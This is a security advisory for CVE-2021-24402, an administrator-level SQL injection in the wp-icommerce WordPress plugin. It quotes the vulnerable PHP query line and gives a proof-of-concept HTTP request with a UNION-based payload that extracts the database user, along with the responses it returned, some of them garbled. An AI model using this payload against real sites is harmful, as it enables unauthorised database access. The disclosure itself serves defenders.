

[Wp Plugin Wp Icommerce](#)

Plugin Details

Plugin Name: [wp-plugin: wp-icommerce](#)

Effectd Version : 1.1.1 (and most probably lower version's if any)

Vulnerability : [Injection](#)

Minimum Level of Access Required : Administrator

CVE Number : CVE-2021-24402

Identified by : [Syed Sheeraz Ali](#)

[WPScan Reference URL](#)

Disclosure Timeline

- May 9, 2021: Issue Identified and Disclosed to WPScan
- May 13, 2021 : Plugin Closed
- June 10, 2021 : CVE Assigned
- August 22, 2021 : Public Disclosure

Technical Details

Details

Vulnerable File: /admin/order/order.php#137

Vulnerable Code block and parameter:

Administrator level SQLi for parameter order_id [/admin/order/order.php#137](#)

```
137: $ordered_items = $wpdb->get_results("SELECT * FROM {$wpdb_all_prefix}order_item where fk_order_id = '$_GET['order_id']'.
```

PoC Screenshots

```
Request
GET /wp-admin/admin.php?page=wpic_order_page&order_id=1 UNION
ALL SELECT NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL--- - HTTP/1.1
Host: 172.28.128.50
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: */*
accept/application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,en-gb;q=0.8
Cookie: wordpress_c12195124f6cf47581273be13185d6=adn1k7c16246403187c1joc1eipwpx30zwt7o1kiFofoI8ikgZGSRZFmFV7C3d7d33Bhdaf7dmf1eladdd7fb6fe1edbfefafecan03e744ataca1377acj wordpress_test_cookies=WPA13Cooh1eb1chibcky_kK_ML=wou1k1qT5tEwCeDqr5M0i32duWU1j_P8S8R81W-dmfI8medc18fnd7cb849deddbba8J3;wordpress_logged_in_c12195124f6cf47581273be13185d6=adn1k7c16246403187c1joc1eipwpx30zwt7o1kiFofoI8ikgZGSRZFmFV7C3d7d33Bhdaf7dmf1eladdd7fb6fe1edbfefafecan03e744ataca1377acj; wp-settings-timer=1620288703
Connection: close
[...]
```

```
Response
202 </head>
203 <body>
204
205 <div>
206 </div>
207 </div>
208 <div class="wpic_admin_popup" data-popup-id="1" style="cursor:pointer">bob@localhost</div>
209 </div>
210 </div>
211 </div>
212 </div>
213 </div>
214 <div href="http://172.28.128.50/wp-admin/post.php?post=actionedit">
215 </div>
216 </div>
217 <div class="wpic_prod_currency">&</div>
218 <div class="wpic_product_price">0.00</div>
219 </div>
220 <div class="wpic_prod_currency">&</div>
221 <div class="wpic_product_price">0.00</div>
222
223 <div id="cpod-popup-content-1" class="wpic_popup_content" style="display:none">
224 <div class="wpic_popup_header">
225 <div class="wpic_popup_title">
226 <div class="wpic_popup_title">
227 bob@localhost
228 </div>
229 <div class="wpic_prod_sku">
230 </div>
231 SKU 1
232 </div>
233 </div>
234 <div class="wpic_popup_close">
235 </div>
236 </div>
237 </div>
238 <div class="wpic_popup_body">
239 <div width="100%" class="wpic_popup_table">
240 <div width="50px"; style="padding-top:10px; border-bottom: solid 1px #ccc; text-align:center">
241 There is no customization data available for this product.
242 </div>
243 </div>
```

Exploit

```
GET /wp-admin/admin.php?page=wpic_order_page&order_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL--
Host: 172.28.128.50
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620460502%7CjjoCmlgmjMgoJK3UstWt0iXicfoc1sikqzGRE8FzZNF%7C3d7d033b
Connection: close
```

```
<td>
  <a class="wpic_admin_popup" data-popupid="1" style="cursor:pointer;">bob@localhost</a>
</td>
<td>
</td>
<td>
  <a href="http://172.28.128.50/wp-admin/post.php?post=&action=edit">
</a>
</td>
<td></td>
<td><span class="wpic_prod_currency">$ </span><span class="wpic_product_price">0.00</span></td>
<td><span class="wpic_prod_currency">$ </span><span class="wpic_product_price">0.00</span>
</td>
</tr>
</table>
<div id="scpd-popup-content-1" class="wpic_popup_content" style="display:none;">
  <div class="wpic_popup_header">
    <div class="wpic_popup_title">
```

```
<div class="wpic_prod_title">bob@localhost</div>
<div class="wpic_prod_sku"><strong>SKU :</strong>
</div>
</div>
```